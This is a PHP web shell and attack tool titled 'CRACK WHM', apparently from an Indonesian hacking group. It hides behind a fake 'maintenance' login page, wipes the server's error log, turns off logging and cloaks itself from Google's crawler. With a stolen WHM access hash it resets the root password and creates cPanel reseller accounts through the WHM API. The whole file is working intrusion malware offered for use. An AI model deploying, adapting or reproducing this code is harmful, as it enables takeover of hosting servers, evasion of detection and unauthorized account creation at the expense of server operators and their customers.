<?

php
$auth_pass="4f4adcbf8c6f66dcfc8a3282ac2bf10a";
$root=$_SERVER['DOCUMENT_ROOT'];
$file='error_log';
$cek=file_exists($root.'/'.$file)?true:false;
if($cek){
$reset=fopen("$root/$file","w");
fwrite($reset,'');
fclose($reset);}
$color="#00ff00";
$default_action='FilesMan';
@define('SELF_PATH',__FILE__);
if(strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false){
header('HTTP/1.0 404 Not Found');
exit;}
@session_start();
@error_reporting(0);
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@ini_set('output_buffering',0);
@ini_set('display_errors',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('VERSION','2.1');
if(get_magic_quotes_gpc()){
function stripslashes_array($array){
return is_array($array)?array_map('stripslashes_array',
$array):stripslashes($array);}$_POST=stripslashes_array($_POST);}
function printLogin(){
?>
<title>Perbaikan BOS.../idbte4m</title>
<div style='border:3px dotted
lime;background:url(http://tamejo.xtgem.com/bg/1.jpg);'><center><h1><u>Maintenance<
/u></h1><br>Maaf.. Web sedang dalam perbaikan, silahkan kembali beberapa saat lagi.
<br> <img src="http://file-ku.mobie.in/img/idb1.png"><br><?php
if(isset($_REQUEST['go'])){
switch($_REQUEST['go']){
case "./idbteam":
?>
<form method='POST'><input type='password' maxlength='30' name='pass'><input
type='submit' value='berangkat...' name='login'><p>
<h3>visit : <a href="http://blogs.goenktea.net">My Blogs</a> <br> created : Goenk
Tea</h3></p>
</b></font></div></div></div></center>
<?php break;}}
exit;}
if(!isset($_SESSION[md5($_SERVER['HTTP_HOST'])]))if(empty($auth_pass) ||
(isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass)))
$_SESSION[md5($_SERVER['HTTP_HOST'])]=true;elseprintLogin();
@ini_set('output_buffering',0);
@ini_set('display_errors',0);
set_time_limit(0);ini_set('memory_limit','64M');
header('Content-Type: text/html; charset=UTF-8');
function letItBy(){ob_flush();flush();}
$whm_interface_path='/usr/local/cpanel/Cpanel/Accounting.php.inc';
function getVar($name,$def=''){
if(isset($_REQUEST[$name]))return $_REQUEST[$name];elsereturn $def;}
@ini_set('display_errors',0);
class Whm{
var $controller=true;
var $host=null;
var $user=null;
var $accessHash=null;
var $errors=array();
var $fp=null;
function startup(&$controller){
$this->controller=&$controller;}
function init($host,$user,$accessHash){
$this->host=$host;
$this->user=$user;
$accessHash=str_replace(array("\r","\n"),"",$accessHash);
$this->accessHash=$accessHash;}
function connect($api_path){$this->fp=fsockopen("ssl://".$this->host,2087,$errno,
$errstr,30);if($errno == 0 && $this->fp == false){$this->errors[]="Socket Error:
Could not initialize socket.";return false;}elseif($this->fp == false){$this-
>errors[]="Socket Error #".$errno.": ".$errstr;return false;}$header="";$header .=
"GET ".$api_path." HTTP/1.0\r\n";$header .= "Host: ".$this->host."\r\n";$header .=
"Connection: Close\r\n";$header .= "Authorization: WHM ".$this->user.":".$this-
>accessHash."\r\n";$header .= "\r\n";if(!@fputs($this->fp,$header)){$this-
>errors[]='Unable to send header.';return false;}}function disconnect()
{fclose($this->fp);}function getOutput(){$rawResult="";while(!feof($this->fp))
{$rawResult .= @fgets($this->fp,128);}$rawResultParts=explode("\r\n\r\n",
$rawResult);$result=$rawResultParts[1];return $result;}function version(){$this-
>connect('/xml-api/version');$xmlstr=$this->getOutput();if($xmlstr == ''){$this-
>errors[]='No output.';return false;}$this->disconnect();$xml= new
SimpleXMLElement($xmlstr);return $xml->version;}function gethostname(){$this-
>connect('/xml-api/gethostname');$xmlstr=$this->getOutput();if($xmlstr == '')
{$this->errors[]='No output.';return false;}$this->disconnect();$xml= new
SimpleXMLElement($xmlstr);return $xml->hostname;}function listaccts(){$this-
>connect('/xml-api/listaccts');$xmlstr=$this->getOutput();if($xmlstr == ''){$this-
>errors[]='No output.';return false;}$this->disconnect();$xml= new DOMDocument();
$xml->loadXML($xmlstr);$list=$xml->getElementsByTagName('user');$i=0;foreach($list
AS $element){foreach($element->childNodes AS $item){$result[$i]['user']=$item-
>nodeValue;$i++;}}$list=$xml->getElementsByTagName('domain');$i=0;foreach($list AS
$element){foreach($element->childNodes AS $item){$result[$i]['domain']=$item-
>nodeValue;$i++;}}$list=$xml->getElementsByTagName('plan');$i=0;foreach($list AS
$element){foreach($element->childNodes AS $item){$result[$i]['package']=$item-
>nodeValue;$i++;}}$list=$xml->getElementsByTagName('unix_startdate');
$i=0;foreach($list AS $element){foreach($element->childNodes AS $item){$result[$i]
['start_date']=$item->nodeValue;$i++;}}return $result;}function listPkgs(){$this-
>connect('/xml-api/listpkgs');$xmlstr=$this->getOutput();if($xmlstr == ''){$this-
>errors[]='No output.';return false;}$this->disconnect();$xml= new DOMDocument();
$xml->loadXML($xmlstr);$list=$xml->getElementsByTagName('name');$i=0;foreach($list
AS $element){foreach($element->childNodes AS $item){$result[$i]
['package_name']=$item->nodeValue;$i++;}}$list=$xml->getElementsByTagName('QUOTA');
$i=0;foreach($list AS $element){foreach($element->childNodes AS $item){$result[$i]
['package_quota']=$item->nodeValue;$i++;}}$list=$xml-
>getElementsByTagName('BWLIMIT');$i=0;foreach($list AS $element){foreach($element-
>childNodes AS $item){$result[$i]['package_bw_limit']=$item->nodeValue;$i+
+;}}return $result;}function createAccount($acctDomain,$acctUser,$acctPass,
$acctPackg){$this->connect("/xml-api/createacct?
username=$acctUser&password=$acctPass&plan=$acctPackg&domain=$acctDomain&ip=y&cgi=y
&frontpage=y&cpmod=x3&useregns=1&reseller=1");$xmlstr=$this->getOutput();if($xmlstr
== ''){$this->errors[]='No output.';return false;}$this->disconnect();$xml= new
SimpleXMLElement($xmlstr);if($xml->result->status == 1){$result['status']=$xml-
>result->status;$result['statusmsg']=$xml->result->statusmsg;$result['ip']=$xml-
>result->options->ip;$result['nameserver']=$xml->result->options->nameserver;
$result['nameserver2']=$xml->result->options-
>nameserver2;$result['nameserver3']=$xml->result->options-
>nameserver3;$result['nameserver4']=$xml->result->options-
>nameserver4;$result['package']=$xml->result->options->package;
$result['rawout']=$xml->result->rawout;return $result;}else{$this->errors[]=$xml-
>result->statusmsg;return false;}}function accountsummary($accUser){$this-
>connect("/xml-api/accountsummary?user=$accUser");$xmlstr=$this-
>getOutput();if($xmlstr == ''){$this->errors[]='No output.';return false;}$this-
>disconnect();$xml= new SimpleXMLElement($xmlstr);if($xml->status == 1)
{$result['disklimit']=$xml->acct->disklimit;$result['diskused']=$xml->acct-
>diskused;$result['diskused']=$xml->acct->diskused;$result['domain']=$xml->acct-
>domain;$result['email']=$xml->acct->email;$result['ip']=$xml->acct->ip;
$result['owner']=$xml->acct->owner;$result['partition']=$xml->acct->partition;
$result['plan']=$xml->acct->plan;$result['startdate']=$xml->acct->startdate;
$result['theme']=$xml->acct->theme;$result['unix_startdate']=$xml->acct-
>unix_startdate;$result['user']=$xml->acct->user;return $result;}else{$this-
>errors[]=$xml->statusmsg;return false;}}function passwd($accUser,$pass){$this-
>connect("/xml-api/passwd?user=$accUser&pass=$pass");$xmlstr=$this-
>getOutput();if($xmlstr == ''){$this->errors[]='No output.';return false;}$this-
>disconnect();$xml= new SimpleXMLElement($xmlstr);if($xml->passwd->status == 1)
{$result['statusmsg']=$xml->passwd->statusmsg;$result['frontpage']=$xml->passwd-
>frontpage;$result['ftp']=$xml->passwd->ftp;$result['mail']=$xml->passwd->mail;
$result['mysql']=$xml->passwd->mysql;$result['system']=$xml->passwd->system;
$result['rawout']=$xml->passwd->rawout;return $result;}else{$this->errors[]=$xml-
>passwd->statusmsg;return false;}}function suspend($acctUser,$reason){$this-
>connect("/xml-api/suspendacct?user=$acctUser&reason=$reason");$xmlstr=$this-
>getOutput();if($xmlstr == ''){$this->errors[]='No output.';return false;}$this-
>disconnect();$xml= new SimpleXMLElement($xmlstr);if($xml->result->status == 1)
{return $xml->result->statusmsg;}else{$this->errors[]=$xml->result-
>statusmsg;return false;}}function
unsuspend($acctUser){$this->connect("/xml-api/unsuspendacct?user=$acctUser");
$xmlstr=$this->getOutput();if($xmlstr == ''){$this->errors[]='No output.';return
false;}$this->disconnect();$xml= new SimpleXMLElement($xmlstr);if($xml->result-
>status == 1){return $xml->result->statusmsg;}else{$this->errors[]=$xml->result-
>statusmsg;return false;}}function terminate($acctUser,$keepDns=0){$this-
>connect("/xml-api/removeacct?user=$acctUser&keepdns=$keepDns");$xmlstr=$this-
>getOutput();if($xmlstr == ''){$this->errors[]='No output.';return false;}$this-
>disconnect();$xml= new SimpleXMLElement($xmlstr);if($xml->result->status == 1)
{return $xml->result->statusmsg;}else{$this->errors[]=$xml->result-
>statusmsg;return false;}}function Email_listpopswithdisk($user,$domain){$this-
>connect("/xml-api/cpanel?user=$user&xmlin=<cpanelaction><module>Email</
module><func>listpopswithdisk</func><args><domain>$domain</domain></args></
cpanelaction>");$xmlstr=$this->getOutput();if($xmlstr == ''){$this->errors[]='No
output.';return false;}$this->disconnect();if($xmlstr){$xml= new
SimpleXMLElement($xmlstr);$i=0;foreach($xml->data as $entry){$result[$i]
['domain']=htmlentities((string)$entry->domain);$result[$i]
['user']=htmlentities((string)$entry->user);$result[$i]
['login']=htmlentities((string)$entry->login);$result[$i]
['email']=htmlentities((string)$entry->email);$result[$i]
['_diskquota']=htmlentities((string)$entry->_diskquota);$result[$i]
['_diskused']=htmlentities((string)$entry->_diskused);$result[$i]
['diskquota']=htmlentities((string)$entry->diskquota);$result[$i]
['diskused']=htmlentities((string)$entry->diskused);$result[$i]
['diskusedpercent']=htmlentities((string)$entry->diskusedpercent);$result[$i]
['diskusedpercent20']=htmlentities((string)$entry->diskusedpercent20);$result[$i]
['humandiskquota']=htmlentities((string)$entry->humandiskquota);$result[$i]
['humandiskused']=htmlentities((string)$entry->humandiskused);$result[$i]
['txtdiskquota']=htmlentities((string)$entry->txtdiskquota);$i++;}return
$result;}else{$this->errors[]='Some errors occured.';return false;}}function
changepackage($accUser,$pkg){$this->connect("/xml-api/changepackage?
user=$accUser&pkg=$pkg");$xmlstr=$this->getOutput();if($xmlstr == ''){$this-
>errors[]='No output.';return false;}$this->disconnect();$xml= new
SimpleXMLElement($xmlstr);if($xml->result->status == 1){$result['statusmsg']=$xml-
>result->statusmsg;$result['rawout']=$xml->result->rawout;return
$result;}else{$this->errors[]=$xml->result->statusmsg;return false;}}}
?>

<html>

<head>

<title>Combrooo</title>

</head>

<body style="background-image: url('http://i.imgur.com/zHNCk2e.gif'); background-

repeat: repeat; background-position: center; background-attachment: fixed;">

<STYLE>

textarea{background-color:#105700;color:lime;font-weight:bold;font-size: 20px;font-
family: Tahoma; border: 1px solid #000000;}

input{FONT-WEIGHT:normal;background-color: #105700;font-size: 15px;font-

weight:bold;color: lime; font-family: Tahoma; border: 1px solid #666666;height:20}

body {

font-family: Tahoma

tr {

BORDER: dashed 1px #333;

color: #FFF;

td {

BORDER: dashed 1px #333;

color: #FFF;

.table1 {

BORDER: 0px Black;

BACKGROUND-COLOR: Black;

color: #FFF;

}
.td1 {

BORDER: 0px;

BORDER-COLOR: #333333;

font: 7pt Verdana;

color: Green;

.tr1 {

BORDER: 0px;

BORDER-COLOR: #333333;

color: #FFF;

table {

BORDER: dashed 1px #333;

BORDER-COLOR: #333333;

BACKGROUND-COLOR: Black;

color: #FFF;

input {

border : dashed 1px;

border-color : #333;

BACKGROUND-COLOR: Black;

font: 8pt Verdana;

color: lime;

select {

BORDER-RIGHT: Black 1px solid;

BORDER-TOP: #DF0000 1px solid;

BORDER-LEFT: #DF0000 1px solid;

BORDER-BOTTOM: Black 1px solid;

BORDER-color: #FFF;
BACKGROUND-COLOR: Black;

font: 8pt Verdana;

color: lime;

submit {

BORDER: buttonhighlight 2px outset;

BACKGROUND-COLOR: Black;

width: 30%;

color: #FFF;

textarea {

border : dashed 1px #333;

BACKGROUND-COLOR: Black;

font: Fixedsys bold;

color: #999;

BODY {

SCROLLBAR-FACE-COLOR: Black; SCROLLBAR-HIGHLIGHT-color: #FFF; SCROLLBAR-SHADOW-

color: #FFF; SCROLLBAR-3DLIGHT-color: #FFF; SCROLLBAR-ARROW-COLOR: Black;
SCROLLBAR-TRACK-color: #FFF; SCROLLBAR-DARKSHADOW-color: #FFF

margin: 1px;

color: Red;

background-color: Black;

.main {

margin: -287px 0px 0px -490px;

BORDER: dashed 1px #333;

BORDER-COLOR: #333333;

.tt {
background-color: Black;

.areaz { margin:auto;

border:1px solid lime;

width:60%;

height:170px;

background:#000000;

padding:0 2px; }

A:link {

COLOR: White; TEXT-DECORATION: none

A:visited {

COLOR: White; TEXT-DECORATION: none

A:hover {

color: Red; TEXT-DECORATION: none

A:active {

color: Red; TEXT-DECORATION: none

#result{margin:10px;}

#result span{display:block;}

#result .X{background-color:#101010;}

#result .Y{background-color:green;}

#result .Z{background-color:red;}

</STYLE>

<script language=\'javascript\'>

function hide_div(id){

document.getElementById(id).style.display = \'none\';
 document.cookie=id+\'=0;\';

function show_div(id){

document.getElementById(id).style.display = \'block\';

document.cookie=id+\'=1;\';

function change_divst(id){

if (document.getElementById(id).style.display == \'none\')

show_div(id);

else

hide_div(id);

</script>

</td></table></tr>

<br>

<link rel="stylesheet" type="text/css" href="http://fonts.googleapis.com/css?

family=Audiowide">

<style>

body { font-family: 'Audiowide', serif;font-size: 30px;}

</style></head><center>

<h1>CRACK WHM</h1>

<body onLoad="type_text()" ; bgColor=#000000 text=#00FFFF background="Fashion

fuchsia"><br/>

<table border="1" bordercolor=red>

<tr>

<td width="700">

<center>

<form method="post" name="pageform"

action="" onsubmit="return validate(this);">

<form method="post">

<div align="center"><h2>Generate PassWord </h2></div>

<center><table width="500" border="1">

<tbody><tr><td><center>Access Hash<textarea rows="3" cols="40" name="hashwhm"

value=""></textarea></center></td></tr></tbody></table>

<table border="1">

<tbody><tr><td><center> Host/ IP <input name="ipwhm"

value="127.0.0.1"></center></td><td><center>Username<input name="userwhm"
value="root"></center></td></tr>

</tbody></table>

<center><table border="1">

<tbody><tr><td> Pw Baru: </ td><td><input name="passwhm" value="123asdf@@@"

size="25"></td></tr>

<tr><td colspan="3"><center><input class="button" type="submit" name="submit"

value="Reset PassWord"></td></tr></table><tr><td><nobr>

<center><input name="cp-creator" type="submit" value=" CP Creator " id="button"/>

</nobr></td></tr></table>

</form>

<table>

<div align="center"><br/>

<!-- lets start making exploit -->

<!-- cpanel creator -->

<?php
if(isset($_POST['cp-creator'])){
?>

<br><div id="result"><br>

<form method="post">

<div align="center"><h2>cPanel Account Creator </h2></div>

<center><table width="500" border="1">

<tbody><tr><td><center>Access Hash<textarea rows="3" cols="40" name="hash"

value=""></textarea></center></td></tr></tbody></table>
<table border="1">

<tbody><tr><td><center> Host/ IP <input name="host"

value="127.0.0.1"></center></td><td><center>Username<input name="whm"
value="root"></center></td></tr>

</tbody></table>

<p> <h3><u>info akun baru </u></h3> <center><table border="1">

<tbody><tr><td> Domain: </ td><td><input name="domain" value="domain-kamu.com"

size="25"></td></tr>

<tr><td> Username: </td><td><input name="user" value="combro" size="25">

</td></tr>

<tr><td> Password: </td><td><input name="password" value="123asdf@@@"

size="25"></td><td></td></tr>

<tr><td> Package: </td><td><input name="package" value="default"

size="25"></td></tr>

</table>

<tr><td colspan="3"><br /><center><input class="button" type="submit" name="submit"

value="Create Account"></td></tr></table>

<?php }
?>

<?php
set_time_limit(0);if(isset($_POST['submit'])){echo '<div id="result">';if(!
isset($whm_user)){$whm_user=getVar('whm');}if(!isset($whm_host))
{$whm_host=getVar('host');}$whm_usessl=1;if(!isset($whm_key))
{$whm_key=getVar('hash');}if(!isset($user_domain))
{$user_domain=getVar('domain');}if(!isset($user_name))
{$user_name=getVar('user');}if(!isset($user_pass))
{$user_pass=getVar('password');}if(!isset($user_plan))
{$user_plan=getVar('package');}if(!file_exists($whm_interface_path))
{die($whm_interface_path." does not exist. Please update program with correct path
to your WHM interface file.");}if(!empty($user_name))
{require_once$whm_interface_path;$result=createacct($whm_host,$whm_user,$whm_key,
$whm_usessl,$user_domain,$user_name,$user_pass,$user_plan);}echo
"<h2><b><u>RESULT:</u></b></h2> <span class=X>$result</span>";echo "</div>";}
?>

<!-- Reset PassWord -->

<?php
if(isset($_POST['cp-pass'])){
?>

<br><div id="result"><br>
<?php }
?>

<?php
set_time_limit(0);if(isset($_POST['submit'])){echo '<div id="result">';
$idbteam404= new whm;if(!isset($ipwhm)){$ipwhm=getVar('hashwhm');}if(!
isset($userwhm)){$userwhm=getVar('userwhm');}if(!isset($hashwhm))
{$hashwhm=getVar('ipwhm');}if(!isset($passbaru)){$passbaru=getVar('passwhm');}
$idbteam404->init($hashwhm,$userwhm,$ipwhm);$hostname=$idbteam404-
>gethostname();echo "Host name: $hostname <br>";$version=$idbteam404-
>version();echo "Cpanel/whm version is: $version <br><pre>";$result=$idbteam404-
>passwd($userwhm,$passbaru);if($result){print_r($result);}else{print_r($idbteam404-
>errors);}
?>

<?php }
?>

<!-- exploit done -->

<!-- yeaah i'm handsome -->

</center></td></table></body></html>